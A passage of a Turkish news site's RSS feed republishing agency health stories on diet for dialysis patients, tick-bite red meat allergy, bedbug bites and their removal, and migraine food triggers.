<ul> <li><span><span>Çerezler, süt ürünleri (özellikle kaşar peynir), yumurta sarısı, kahve, bakliyat, kolalı içecekler, çikolata, balık, kepekli ürünler ve bulgurda fosfor oranı yüksek olduğu için böbrek hastasının bu gıdaları çok dikkatli tüketmesi gerekir,</span></span></li> </ul> </div> <div> <ul> <li><span><span>En fazla Nescafe’de olmak üzere meyve suları ve maden suyunda potasyum oranı çok yüksektir. Ayrıca pestil, bamya, kuru kayısı, kuru üzüm, kuru incir, kuru kestane ve kuru hurma potasyum oranın yüksek olduğu kurutulmuş besinlerdir. Bu ürünler mümkünse hiç tüketilmemeli,</span></span></li> </ul> </div> <div> <ul> <li><span><span>Potasyumun yüksek olduğu antepfıstığı (en fazla), ay çekirdeği, badem ve fındık gibi çerezlerde aynı zamanda fosfor da fazla olduğundan hiç tüketilmemeli,</span></span></li> </ul> </div> <div> <ul> <li><span><span>Bir böbrek hastası günde 2 avuç kadar meyve tüketebilir. Özellikle potasyum değeri fazla olan sarı renkli meyvelere çok dikkat edilmeli,</span></span></li> </ul> </div> <div> <ul> <li><span><span>Baharatlarda potasyum oranı yüksek olduğu için kesinlikle önerilmez, illaki acı yenmek istenirse 1 – 2 adet yeşil acı biber tüketilebilir.</span></span><br/>  </li> </ul> </div> <p><span><span><strong>Kilo kontrolüne dikkat edilmeli</strong></span></span></p> <p><span><span>Hemodiyaliz hastalarının diyaliz programına uymalarının son derece önemli olduğuna dikkat çeken Öğr. Gör. Meliha Çakmak, “Diyaliz hastaları için beslenme ve kilo kontrolü çok önemli. Böbrek hastalarının çok zayıf veya çok kilolu olmaları önerilmezken ideal kilo oranına ulaşmaları ve ideal kiloda kalmaya özen göstermeleri önerilir. Böbrek hastalarının iki diyaliz seansı arasında 1,5 - 2 kilodan fazla almamaları gerekiyor. 50 kiloluk bir hasta günlük en fazla 700 gram, 70 kiloluk bir hasta günde en fazla bin gram ve 90 kiloluk bir hasta günde en fazla bin 300 gram almalıdır. Kan düzeyinde fosfor, kalsiyum ve parathormon seviyelerine göre D vitamini kullanılması gerekebilir. Böbrek hastası, susuzluğu geçene kadar azar azar su içebilir. Ne kadar az tuz alınırsa o kadar az susama olur. Susuzluğu kontrol etmek mümkün değildir ancak tuz alımını kontrol etmek elimizdedir.” diye konuştu.</span></span></p>Kaynak: (BYZHA) - Beyaz Haber Ajansı</p><p style="text-align: center; ">Haberi Kaynağından oku: <a href="https://beyazhaberajansi.com/haber-diyalizde-tehlike-iceren-3-besin-67671.html">Beyaz Haber Ajansı</a></p><p style="text-align: left;">Not : <font color="#969494" face="verdana, arial"><span style="font-size: 11px;">Bu haber </span></font><span style="color: rgb(249, 249, 249); font-size: 15px; text-indent: -9px; background-color: rgb(54, 121, 173);">BEYAZ Haber Ajansı</span><font color="#969494" face="verdana, arial"><span style="font-size: 11px;"> </span></font><span style="font-size: 11px; color: rgb(150, 148, 148); font-family: verdana, arial;">internet sitesinden, Yeniistiklal.com editörlerinin hiçbir editoryal müdahalesi olmadan otomatik olarak geldiği şekliyle alınmıştır. Bu haberlerin hukuki muhatabı haber kaynaklarıdır. Haberlerle ilgili her tür şikayetinizi yeniistiklal@gmail.com adresimize gönderebilirsiniz.</span></p>]]></content:encoded>
                <pubDate>Thu, 27 Oct 2022 16:15:05 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2022/10/diyalizde-tehlike-iceren-3-besin-UvjiDUGC.jpg"/>
            </item>
                                <item>
                <title>Kene Isırığı, Kırmızı Et Alerjisi Yapıyor</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/kene-isirigi-kirmizi-et-alerjisi-yapiyor-547614</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/kene-isirigi-kirmizi-et-alerjisi-yapiyor-547614</guid>
                <description><![CDATA[Kusma, karın ağrısı, ishal, nefes darlığı, bayılma… Ateş, halsizlik, eklem ağrıları… Kene ısırığı ile başımıza gelecek sağlık sorunlarına bir ...]]></description>
                <content:encoded><![CDATA[<p><p><span><span><strong>Kusma, karın ağrısı, ishal, nefes darlığı, bayılma…</strong></span></span></p>  <p><span><span><strong>Ateş, halsizlik, eklem ağrıları… Kene ısırığı ile başımıza gelecek sağlık sorunlarına bir yenisi daha eklendi: Kırmızı et alerjisi! Kene ısırığı sonrasında bazı hastalarda kırmızı et alerjisi geliştiğini söyleyen Doç. Dr. Güzin Özden, “Başta ABD olmak üzere pek çok ülkede kene ısırığı sonrası daha önce sorunsuz kırmızı et tüketebilen kişilerde kırmızı et alerjisi geliştiği saptandı. Kusma, karın ağrısı, ishal, nefes darlığı, bayılma gibi ciddi reaksiyonlar gelişebiliyor. Böyle bir durumda hastalar acilen bir alerji uzmanına başvurmalı ve kırmızı et alerjisi için tetkik edilmeli” diye konuştu.</strong></span></span></p>  <p><span><span>Gün geçmiyor ki yeni bir alerji türü öğrenmeyelim. Kırmızı et alerjisi pek de alışılagelmiş alerji türlerine benzemiyor, kene ısırdıktan sonra ortaya çıkıyor ama diğer alerjiler gibi rutin hayatı çekilmez kılan semptomlara yol açıyor. <strong>Kusma, karın ağrısı, ishal, nefes darlığı, bayılma </strong>gibi belirtiler gösteren kırmızı et alerji hakkında bilgiler veren <strong>Türkiye Ulusal Alerji ve Klinik İmmünoloji Derneği (AİD) Üyesi Doç. Dr. Güzin Özden,</strong> kırmızı et alerjisinin az bilinen ve nadir görülen besin alerjilerinden biri olduğunu söyledi.  Her yaş grubunda görülebildiğini söyleyen Doç. Dr. Özden, “Tüm memeli hayvanların etinde alfa gal (galaktoz-α−1,3-galaktoz oligosakkaridi) isimli bir madde bulunur. <strong>Kene ısırığı sonrası kişide alfa gale karşı alerji gelişir ve o zamana kadar sorunsuz memeli hayvanların etlerini tüketebildiği halde alerji geliştikten sonra kırmızı et yediğinde alerjik reaksiyonlar gösterir</strong>” dedi. Kene ısırığı olmadan da bazı hastalarda kırmızı et alerjisi gelişebilir tüm hastalarda et alerjilerinin tam olarak nedeninin tam olarak açıklanamadığını da ekleyen Özden, “Az görülmesinin nedeni etin pişirilme sonucu alerjen oranının azalmasına bağlanabilir” diye konuştu.</span></span></p>  <p><span><span><strong>BU BELİRTİLERE DİKKAT!</strong></span></span></p> <p><span><span>Kırmızı et alerjisi; et tüketimin hemen sonrasında gelişen kaşıntı, deride kızarıklık, dudakta şişme, karın ağrısı ve ishal ile gelişen “erken tip” veya 4-6 saat sonra kaşıntı kızarıklık kabarma, halsizlik, kusma, karın ağrısı, ishal, nefes darlığı, bayılma ile gelişen “geç tip” reaksiyonlar olarak ikiye ayrılıyor. Hızla ortaya çıkan belirtilerin şiddetli olma eğiliminin çok daha yüksek olduğunu ifade eden Özden, ancak kırmızı et tüketimi sonrası gelişen geç alerjik belirtilerin de şiddetli olma eğilimi olduğunu hatırlatıp uyarıyor: “Her kırmızı et yediğinizde şiddetli veya hafif fark etmeksizin bazı belirtiler yaşıyorsanız mutlaka bir alerji uzmanına başvurun ve kırmızı et alerjisi için tetkik yaptırın.” </span></span></p>Kaynak: (BYZHA) - Beyaz Haber Ajansı</p><p style="text-align: center; ">Haberi Kaynağından oku: <a href="https://beyazhaberajansi.com/haber-kene-Isirigi-kirmizi-et-alerjisi-yapiyor-67668.html">Beyaz Haber Ajansı</a></p><p style="text-align: left;">Not : <font color="#969494" face="verdana, arial"><span style="font-size: 11px;">Bu haber </span></font><span style="color: rgb(249, 249, 249); font-size: 15px; text-indent: -9px; background-color: rgb(54, 121, 173);">BEYAZ Haber Ajansı</span><font color="#969494" face="verdana, arial"><span style="font-size: 11px;"> </span></font><span style="font-size: 11px; color: rgb(150, 148, 148); font-family: verdana, arial;">internet sitesinden, Yeniistiklal.com editörlerinin hiçbir editoryal müdahalesi olmadan otomatik olarak geldiği şekliyle alınmıştır. Bu haberlerin hukuki muhatabı haber kaynaklarıdır. Haberlerle ilgili her tür şikayetinizi yeniistiklal@gmail.com adresimize gönderebilirsiniz.</span></p>]]></content:encoded>
                <pubDate>Thu, 27 Oct 2022 16:14:05 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2022/10/kene-isirigi-kirmizi-et-alerjisi-yapiyor-c9fETuYz.jpg"/>
            </item>
                                <item>
                <title>Tahtakurusu ısırması, belirtileri, alerjisi, teşhisi ve tedavisi nasıl yapılır</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/tahtakurusu-isirmasi-belirtileri-alerjisi-teshisi-ve-tedavisi-nasil-yapilir-547613</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/tahtakurusu-isirmasi-belirtileri-alerjisi-teshisi-ve-tedavisi-nasil-yapilir-547613</guid>
                <description><![CDATA[Tahtakuruları, insanlardan veya hayvanlardan kanla beslenen küçük böceklerdir. Bu böcekler evimizi istila ettiğinde hayatımız ızdırap haline ...]]></description>
                <content:encoded><![CDATA[<p><p><span><span><strong><span>Tahtakuruları, insanlardan veya hayvanlardan kanla beslenen küçük böceklerdir. Bu böcekler evimizi istila ettiğinde hayatımız ızdırap haline gelebilir. Tahtakurusu ısırıkları bazen enfeksiyon ve alerjilere neden olabilir. Kaşıntıya neden olmasından dolayı alerjik hastalıklarla karıştırılırlar. Alerji ve Astım Derneği Başkanı Çocuk Alerji Uzmanı Prof. Dr. Ahmet Akçay tahtakurusu alerjileri hakkında çok detaylı bilgiler verdi.</span></strong></span></span></p> <p><b><span><span><strong>Tahtakurusu nedir?</strong></span></span></b></p> <p><span><span><span>Tahtakuruları, insanlardan veya hayvanlardan kanla beslenen küçük böceklerdir. Yatağınızda, mobilyanızda, halınızda, giysilerinizde ve diğer eşyalarınızda yaşayabilirler. En çok geceleri aktiftirler, uyurken insanları ısırarak kanla beslenirler.</span></span></span></p> <p><span><span><span>Tahtakuruları 1 ila 7 milimetre uzunluğunda olabilir. Düz, oval şekilli ve kırmızımsı kahverengidirler. Kanatları yoktur, bu yüzden onları bir yerden başka bir yere taşımak için hayvanlara veya insanlara güvenirler.</span></span></span></p> <p><span><span><span>Tahtakurusu ısırıkları nadiren tehlikeli olsa da, çok kaşıntılı olabilirler. Bazı durumlarda ısırdığı yerlerde enfeksiyona veya alerjik reaksiyona neden olurlar.</span></span></span></p> <p><span><span><span>Evinizde yaşayan tahtakuruları olduğundan şüpheleniyorsanız, onlardan kurtulmanız önemlidir.</span></span></span></p> <p><span><span><strong><span>Tahtakurusu ısırıkları neye benziyor?</span></strong></span></span></p> <p><span><span><span>Bazı insanlar tahtakurusu ısırıklarından belirti gelişmez. Belirti geliştiğinde, ısırıklar şu şekildedir:</span></span></span></p> <ul> <li><span><span><span>Kırmızı ve şişmiş, her bir ısırığın merkezinde koyu bir nokta olur</span></span></span></li> <li><span><span><span>Sıra halinde veya kümeler halinde düzenlenmiş, birden fazla ısırık birlikte gruplanmıştır</span></span></span></li> <li><span><span><span>Kaşıntılıdır</span></span></span></li> </ul> <p><span><span><span>Tahtakuruları vücudunuzun herhangi bir bölümünü ısırabilir. Ancak genellikle yüzünüz, boynunuz, kollarınız ve elleriniz gibi siz uyurken maruz kalan cilt bölgelerini ısırırlar. Bazı durumlarda, ısırıklar sıvı dolu kabarcıklara dönüşebilir.</span></span></span></p> <p><b><span><span><strong><span>Tahtakurusu ısırığının belirtileri</span></strong></span></span></b></p> <p><span><span><span>Bir tahtakurusu cildinizi ısırırsa, onu hemen hissetmezsiniz çünkü böcekler, insanları beslemeden önce çok az miktarda anestezi salgılar. Yatak böcek ısırıklarının semptomlarının ortaya çıkması bazen birkaç gün sürebilir.</span></span></span></p> <p><span><span><span>Tahtakurusu ısırıkları genellikle belirgin şekilde kızarır ve şişer. Vücudunuzun küçük bir bölgesinde bir çizgi veya kümede birden fazla ısırık görünebilir. Isırıklar kaşıntılı olma eğilimindedir. Yanma hissine neden olabilirler.</span></span></span></p> <p><span><span><span>Evinizde yaşayan tahtakurularınız varsa, her gece beslenmeyebilirler. Aslında, yemek yemeden birkaç gün geçirebilirler. Isırıkların daha büyük bir modelin parçası olduğunu anlamak birkaç hafta alabilir.</span></span></span></p> <p><span><span><span>Böcek ısırıkları, kanamalara veya ısırılan bölgenin enfekte olmasına neden olabilir. </span></span></span></p> <p><b><span><span><strong><span>Bebekte tahtakurusu ısırıkları</span></strong></span></span></b></p> <p><span><span><span>Bebeğinizin veya çocuğunuzun tahtakuruları tarafından ısırıldığından şüpheleniyorsanız, çarşaflarını, şiltelerini, karyolalarını ve yakındaki süpürgelikleri böcek belirtileri için kontrol edin.</span></span></span></p> <p><span><span><span>Bebeğiniz veya çocuğunuzdaki tahtakurusu ısırıklarını tedavi etmek için, ısırıkları sabun ve suyla yıkayın. Soğuk kompres veya kalamin losyonu uygulamayı düşün.</span></span></span></p>  <p><span><span><span>Isırıkları tedavi etmek için topikal steroid kremler veya oral antihistaminikler kullanmadan önce çocuğunuzun doktoru veya eczacısıyla konuşun. Bazı ilaçlar bebekler veya küçük çocuklar için güvenli olmayabilir.</span></span></span></p>  <p><span><span><span>Çocuğunuz talimatlarınızı anlayacak yaştaysa, ısırıkları kaşımamalarını isteyin. kaşımaya bağlı kanamayı önlemek için çocuğunuzun tırnaklarını kesip ısırıkları bir bandajla örtmek de yardımcı olabilir.</span></span></span></p>  <p><b><span><span><strong><span>Tahtakurusu ısırıkları ve pire ısırıkları nasıl ayrılır?</span></strong></span></span></b></p> <p><span><span><span>Tahtakurusu ısırıkları ve pire, görünüş olarak oldukça benzerdir. Her ikisi de cildinizde kırmızı yumruların oluşmasına neden olabilir. Her ikisi de çok kaşıntılı olabilir.</span></span></span></p>  <p><span><span><span>Pireler sizi ısırdığında, tipik olarak vücudunuzun alt yarısını veya eklemlerin etrafındaki sıcak, nemli alanları ısırırlar. Pirenin ısırdığı yerler;</span></span></span></p>  <ul> <li><span><span><span>Ayaklar</span></span></span></li> <li><span><span><span>Bacaklar</span></span></span></li> <li><span><span><span>Koltuk altları</span></span></span></li> <li><span><span><span>Dirseklerinizin veya dizlerinizin içi</span></span></span><br/>  </li> </ul> <p><span><span><span>Tahtakuruların vücudunuzun üst kısımlarını ısırması daha olasıdır, örneğin:</span></span></span></p> <ul> <li><span><span><span>Eller</span></span></span></li> <li><span><span><span>Kollar</span></span></span></li> <li><span><span><span>Boyun</span></span></span></li> <li><span><span><span>Yüz</span></span></span><br/>  </li> </ul> <p><span><span><span>Tahtakuruların veya pirelerin sizi ısırdığından şüpheleniyorsanız, evinizdeki böcek belirtilerini kontrol edin. Tahtakuruları genellikle şiltelerin dikişlerinde, yatak çerçevesi ve yatak başlıklarının çatlaklarında ve yatakların etrafındaki süpürgeliklerde saklanır. <strong>Pireler, evcil hayvanlarda ve halı veya döşemeli mobilyalarda yaşama eğilimindedir.</strong></span></span></span></p>  <p><span><span><span>Tahtakuruları veya pireler bulursanız, onlardan kurtulmak için evinizi veya evcil hayvanınızı tedavi etmeniz önemlidir. </span></span></span></p>  <p><b><span><span><strong><span>Tahtakurusu ısırıklarının riskleri</span></strong></span></span></b></p> <p><span><span><span>Tahtakuruları herhangi bir evde veya halka açık alanda yaşayabilir. Ancak çok sayıda insanın olduğu yerlerde yaygındır. Aşağıdakilerden birinde yaşıyor veya çalışıyorsanız, tahtakuruları ile karşılaşma riskiniz artabilir:</span></span></span></p>  <ul> <li><span><span><span>Otel</span></span></span></li> <li><span><span><span>Hastane</span></span></span></li> <li><span><span><span>Evsiz sığınağı</span></span></span></li> <li><span><span><span>Askeri kışla</span></span></span></li> <li><span><span><span>Üniversite yurdu</span></span></span></li> <li><span><span><span>Apartman kompleksi</span></span></span></li> <li><span><span><span>İş ofisi</span></span></span><br/>  </li> </ul> <p><span><span><span>Bazı böcek türlerinin aksine, tahtakuruları ısırdıklarında hastalıkları yaymazlar. Ancak bazı durumlarda tahtakurusu ısırıkları enfeksiyona neden olabilir . Bir enfeksiyonun olası belirti ve semptomları şunları içerir:</span></span></span></p> <ul> <li><span><span><span>Isırıktan yayılan ağrı ve hassasiyet</span></span></span></li> <li><span><span><span>Isırık çevresinde kızarıklık, şişme veya sıcaklık</span></span></span></li> <li><span><span><span>Isırık yakınında kırmızı çizgiler veya lekeler</span></span></span></li> <li><span><span><span>Isırıktan irin veya drenaj</span></span></span></li> <li><span><span><span>Cildinin hassaslaşması</span></span></span></li> <li><span><span><span>Ateş</span></span></span></li> <li><span><span><span>Titreme</span></span></span><br/>  </li> </ul> <p><span><span><span>Bazen tahtakurusu alerjisi, ayrıca ısırılan sonra alerjik reaksiyon gelişebilir. Bu, ısırık çevresinde ağrılı şişlik veya yoğun kaşıntıya neden olabilir. Bazı durumlarda, anafilaksi olarak bilinen potansiyel olarak yaşamı tehdit eden bir reaksiyonu da tetikleyebilir .</span></span></span></p>  <p><span><span><span>Tahtakurusu ısırığına karşı bir enfeksiyon veya alerjik reaksiyon geliştirdiğinizden şüpheleniyorsanız, doktorunuzla iletişime geçin. Isırıldıktan sonra aşağıdakilerden herhangi birini geliştirirseniz acil tıbbi yardım alın:</span></span></span></p> <ul> <li><span><span><span>Mide bulantısı</span></span></span></li> <li><span><span><span>Kusma</span></span></span></li> <li><span><span><span>Ateş</span></span></span></li> <li><span><span><span>Titreme</span></span></span></li> <li><span><span><span>Baş dönmesi</span></span></span></li> <li><span><span><span>Nefes almada zorluk</span></span></span></li> </ul> <p><b><span><span><strong><span>Tahtakurusu ısırıklarından nasıl kurtulurum?</span></strong></span></span></b></p> <p><span><span><span>Evinizde tahtakuruları olduğundan şüpheleniyorsanız, yatağınızda ve diğer alanları kontrol edin. Genellikle saklandığı alanlar:</span></span></span></p> <ul> <li><span><span><span>Şilteler</span></span></span></li> <li><span><span><span>Yatak yayları</span></span></span></li> <li><span><span><span>Yatak çerçeveleri, dikişler</span></span></span></li> <li><span><span><span>Başlıklar</span></span></span></li> <li><span><span><span>Yastıklar ve yatak takımları</span></span></span></li> <li><span><span><span>Mobilya çatlakları veya dikişleri</span></span></span></li> <li><span><span><span>Süpürgeliklerin etrafındaki halılar</span></span></span></li> <li><span><span><span>Işık düğmelerinin ve elektrik priz plakalarının arkasındaki boşluklar</span></span></span></li> <li><span><span><span>Perdeler</span></span></span></li> <li><span><span><span>Çamaşırlar</span></span></span></li> </ul> <p><span><span><span>Böcekleri kendileri görebilirsiniz. Ayrıca yatağınızda kan damlaları veya küçük siyah noktalar halinde böcek pisliği de bulabilirsiniz. Tahtakuruları bulursanız, ev sahibinizi veya bir haşere kontrol şirketini arayın.</span></span></span></p>  <p><span><span><strong><span>İstilayı kontrol altına almak ve ortadan kaldırmak için şunlar yardımcı olur:</span></strong></span></span></p> <ul> <li><span><span><span>Zeminlerinizi, yataklarınızı, mobilyalarınızı ve cihazlarınızı elektrikli süpürgeyle ve buharla temizleyin.</span></span></span></li> <li><span><span><span>Çamaşır makinenizin ve kurutucunuzun en sıcak ayarlarını kullanarak çarşaflarınızı, örtülerinizi ve giysilerinizi yıkayın.</span></span></span></li> <li><span><span><span>Yıkanamayan eşyaları plastik torbalarda kapatın ve birkaç gün -17 ° C veya daha yüksek sıcaklıklarda birkaç ay saklayın.</span></span></span></li> <li><span><span><span>46 ° C kadar güvenle ısıtılabilen öğeleri ısıtın.</span></span></span></li> <li><span><span><span>Süpürgeliklerinizin etrafındaki boşlukları ve mobilyadaki çatlakları doldurun.</span></span></span><br/>  </li> </ul> <p><span><span><span>Tahtakuruları öldürmek için birkaç böcek ilacı da mevcuttur. Bir haşere kontrol şirketi, kendi başınıza satın almanız, kiralamanız veya kullanmanız için zor olabilecek böcek ilaçlarına veya ekipmana erişebilir.</span></span></span></p>  <p><b><span><span><strong><span>Tahtakurusu ısırıkları tedavisi</span></strong></span></span></b></p> <p><span><span><span>Çoğu durumda, tahtakurusu ısırıkları bir ila iki hafta içinde iyileşir. Semptomları hafifletmek için şunları yapmak yardımcı olabilir:</span></span></span></p> <ul> <li><span><span><span>Uygulamak kaşıntı önleyici krem veya ısırıklara kalamin losyonu .</span></span></span></li> <li><span><span><span>Kaşıntı ve yanmayı azaltmak için oral antihistaminler.</span></span></span></li> <li><span><span><span>Şişliği ve ağrıyı hafifletmek için ağrı kesici kullanabilirsiniz.</span></span></span><br/>  </li> </ul> <p><span><span><strong><span>Nadir durumlarda, tahtakurusu ısırıkları alerjik reaksiyonlara neden olabilir.</span></strong></span></span></p> <p><span><span><span>Bazen tahtakurusu ısırıkları selülit olarak bilinen bir enfeksiyona neden olabilir. Enfeksiyon riskini azaltmak için ısırıkları sabun ve suyla yıkayın ve kaşımamaya çalışın. </span></span></span></p>  <p><b><span><span><strong>Ev yapımı ilaçlar ile tedavi nasıl yapılır?</strong></span></span></b></p> <p><span><span><span>Reçetesiz satılan ilaçlara ek olarak, tahtakurusu ısırıklarının belirtilerini hafifletmeye yardımcı olabilecek çeşitli ev ilaçları vardır.</span></span></span></p> <p><span><span><span>Isırılan bölgeleri yatıştırmak için aşağıdakilerden birini veya birkaçını uygulamak yardımcı olabilir:</span></span></span></p> <ul> <li><span><span><span>soğuk bir bez veya havluya sarılmış bir buz torbası</span></span></span></li> <li><span><span><span>ince bir karbonat ve su bazlı macun</span></span></span></li> <li><span><span><span>bazı uçucu yağ türleri</span></span></span></li> </ul> <p><span><span><span>Daha fazla araştırmaya ihtiyaç duyulmasına rağmen, bazı araştırmalar kafur yağı, papatya yağı veya diğer bazı uçucu yağ türlerinin böcek ısırıklarını hafifletmeye yardımcı olabileceğini düşündürmektedir. </span></span></span></p>  <p><span><span><strong><span>Tahtakurularından nasıl kurtulurum?</span></strong></span></span></p> <p><span><span><span>Tahtakuruları sadece 5 milimetre genişliğindedir. Bu böcekler zekidir, dayanıklıdır ve çabuk ürerler. Tahtakuruları tespit edilmekten kaçınmak için nerede saklanacaklarını bilirler, öğünler arasında aylarca yaşayabilirler ve sağlıklı bir dişi hayatı boyunca 500 yumurta bırakabilir .</span></span></span></p>  <p><span><span><span>Bu minik kan emicilerin evinizde çok fazla hasara yol açması şaşırtıcı değil. Sizinle yatağa girerlerse, vücudunuzun her yerinde kırmızı, kaşıntılı lekeler bırakabilirler.</span></span></span></p>  <p><span><span><span>Neyse ki tahtakurularından kurtulabilirsiniz. Tahtakuruları çıkarmak genellikle biraz zaman ve çaba gerektirdiğinden sabırlı olun. Özellikle büyük bir istilaya sahipseniz, birkaç farklı kimyasal ve kimyasal olmayan yaklaşım denemeniz gerekebilir.</span></span></span></p>  <p><span><span><span>Bazı faktörler tahtakuruların çıkarılmasını zorlaştırabilir. Çok fazla dağınıklığınız varsa veya sık sık seyahat ediyorsanız ve valizinize yeni tahtakuruları getiriyorsanız, evinizi onlardan kurtarmak için daha zor zamanlar geçirebilirsiniz.</span></span></span></p>  <p><span><span><strong><span>Evinizden kendi başınıza kurtulamazsanız, profesyonel bir ilaçlama şirketi aramanız gerekebilir. </span></strong></span></span></p> <p><b><span><span><strong>Sonuç Olarak</strong></span></span></b></p> <p><span><span><strong><span>-Tahtakuruları, insanlardan veya hayvanlardan kanla beslenen küçük böceklerdir. </span></strong></span></span></p> <p><span><span><strong><span>-Tahtakuruları özellikle geceleri daha aktiftir</span></strong></span></span></p> <p><span><span><strong><span>-Kaşıntıya neden olmasından dolayı alerjik hastalıklarla karıştırılırlar.</span></strong></span></span></p> <p><span><span><strong><span>-Teşhis için ısırığın görünümü ve tahtakuruları tespiti ilse yapılabilir</span></strong></span></span></p> <p><span><span><strong><span>-Evin ilaçlama şirketleri ile istiladan kurtulması gerekir</span></strong></span></span></p> <p><span><span><strong><span>-Tedavide kaşıntıyı önleyici kremler ve ağrı kesiciler kullanılabilir</span></strong></span></span></p>Kaynak: (BYZHA) - Beyaz Haber Ajansı</p><p style="text-align: center; ">Haberi Kaynağından oku: <a href="https://beyazhaberajansi.com/haber-tahtakurusu-isirmasi-belirtileri-alerjisi-teshisi-ve-tedavisi-nasil-yapilir-67667.html">Beyaz Haber Ajansı</a></p><p style="text-align: left;">Not : <font color="#969494" face="verdana, arial"><span style="font-size: 11px;">Bu haber </span></font><span style="color: rgb(249, 249, 249); font-size: 15px; text-indent: -9px; background-color: rgb(54, 121, 173);">BEYAZ Haber Ajansı</span><font color="#969494" face="verdana, arial"><span style="font-size: 11px;"> </span></font><span style="font-size: 11px; color: rgb(150, 148, 148); font-family: verdana, arial;">internet sitesinden, Yeniistiklal.com editörlerinin hiçbir editoryal müdahalesi olmadan otomatik olarak geldiği şekliyle alınmıştır. Bu haberlerin hukuki muhatabı haber kaynaklarıdır. Haberlerle ilgili her tür şikayetinizi yeniistiklal@gmail.com adresimize gönderebilirsiniz.</span></p>]]></content:encoded>
                <pubDate>Thu, 27 Oct 2022 16:14:04 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2022/10/tahtakurusu-isirmasi-belirtileri-alerjisi-teshisi-ve-tedavisi-nasil-yapilir-nfbyIPNT.jpg"/>
            </item>
                                <item>
                <title>Migren atakları, dünyada yaklaşık 1 milyar insanı olumsuz etkiliyor</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/migren-ataklari-dunyada-yaklasik-1-milyar-insani-olumsuz-etkiliyor-547577</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/migren-ataklari-dunyada-yaklasik-1-milyar-insani-olumsuz-etkiliyor-547577</guid>
                <description><![CDATA[Migrenin en önemli tetikleyicisi: Açlık Migren ataklarının en önemli nedenlerinin başında beslenme alışkanlıklarının geldiğini belirten ...]]></description>
                <content:encoded><![CDATA[<p><p><span><span><strong>Migrenin en önemli tetikleyicisi: Açlık</strong></span></span></p>  <p><span><span><strong>Migren ataklarının en önemli nedenlerinin başında beslenme alışkanlıklarının geldiğini belirten Diyetisyen Nihan Aykırı; migren hastalarının küçük ve sık öğünlerde beslenmeye dikkat etmesi gerektiğine dikkat çekti. Migren ataklarından kurtulmak için magnezyum açısından zengin besinler (koyu yeşil yapraklı sebzeler, avokado, muz vb.) ile Omega-3 zengini besinler (somon, uskumru gibi yağlı balıklar, keten tohumu, ceviz gibi) tüketmek gerektiği yönünde açıklamalarda bulundu.</strong></span></span></p>  <p><span><span>Migrenin yüzyıllardan beri bilinen beraberinde birçok şikayetin eşlik ettiği baş ağrısı hastalığı olduğunu söyleyen <strong>Diyetisyen Nihan Aykırı; </strong>“Migren, dünyada tahminen 1 milyar insanı etkileyen en sık görülen 3. hastalıktır. Migren, kadınlarda erkeklere göre 2 kat fazla görülmektedir. Yapılan çalışmalarda en önemli migren tetikleyicisinin ise “açlık” olduğu tespit edilmiştir. Öğünler arasındaki uzun süreler migren ataklarını tetikleyebilir veya düşük kan şekeri seviyeleri nedeniyle baş ağrılarının daha şiddetli olmasına neden olabilir. Öğünler arasındaki süre arttıkça baş ağrısı geliştirme riski artar. Migren hastaları küçük ve sık öğünlerle beslenmeye dikkat etmelidir’’ dedi.</span></span></p>  <p><span><span>Düzenli beslenmenin migreni tamamen tedavi edemese de migren ataklarının sıklığını ve şiddetini azaltmada çok büyük rol oynadığını belirten <strong>Diyetisyen Nihan Aykırı</strong>; “Evrensel migren tetikleyicisi diye bir şey yoktur; ama bazı insanlarda migren ataklarına neden olabilecek bazı yaygın tetikleyiciler vardır. Yakın zamanda yapılan bir çalışmada migren atağı geçiren kişilerde en az bir beslenme kaynaklı tetikleyici olduğu tespit edilmiştir” şeklinde bilgi verdi.</span></span></p>  <p><span><span><strong>“Migren ataklarını azaltmak için ağrıyı tetikleyen gıdalardan uzak durun”</strong></span></span></p> <ul> <li><span><span>Kafein (Günde 100 m kafein yanı 1 kupa kahve tüketimine izin verilirken sık sık migren ağrısı çeken kişiler kahveyi ve diğer kafein içeren gıdaları hayatlarından çıkarmalıdır.)</span></span></li> <li><span><span>Yapay tatlandırıcılar (özellikle aspartam)</span></span></li> <li><span><span>Olgunlaştırılmış peynirler</span></span></li> <li><span><span>Alkol</span></span></li> <li><span><span>Çikolata</span></span></li> <li><span><span>Mono sodyum glutamat içeren gıdalar.</span></span></li> <li><span><span>Turşu ve fermente gıdalar kullanılmamalıdır.</span></span></li> </ul> <p><span><span><strong>Migren ataklarını yatıştırabilecek önerileri dikkate alın!</strong></span></span></p> <ul> <li><span><span>Aç kalmayın.</span></span></li> <li><span><span>Düzenli olarak uykunuzu alın.</span></span></li> <li><span><span>Magnezyum açısından zengin besinler (Koyu yeşil yapraklı sebzeler, avokado, muz vb.) tüketin.</span></span></li> <li><span><span>Omega-3 zengini besinler (somon, uskumru gibi yağlı balıklar, keten tohumu, ceviz) tüketmeye dikkat edin..</span></span></li> <li><span><span>Bol su tüketin.</span></span></li> <li><span><span>Televizyon, bilgisayar veya diğer ekranları kullanırken sık sık "ekran araları" verin.</span></span></li> </ul>Kaynak: (BYZHA) - Beyaz Haber Ajansı</p><p style="text-align: center; ">Haberi Kaynağından oku: <a href="https://beyazhaberajansi.com/haber-migren-ataklari-dunyada-yaklasik-1-milyar-insani-olumsuz-etkiliyor-67643.html">Beyaz Haber Ajansı</a></p><p style="text-align: left;">Not : <font color="#969494" face="verdana, arial"><span style="font-size: 11px;">Bu haber </span></font><span style="color: rgb(249, 249, 249); font-size: 15px; text-indent: -9px; background-color: rgb(54, 121, 173);">BEYAZ Haber Ajansı</span><font color="#969494" face="verdana, arial"><span style="font-size: 11px;"> </span></font><span style="font-size: 11px; color: rgb(150, 148, 148); font-family: verdana, arial;">internet sitesinden, Yeniistiklal.com editörlerinin hiçbir editoryal müdahalesi olmadan otomatik olarak geldiği şekliyle alınmıştır. Bu haberlerin hukuki muhatabı haber kaynaklarıdır. Haberlerle ilgili her tür şikayetinizi yeniistiklal@gmail.com adresimize 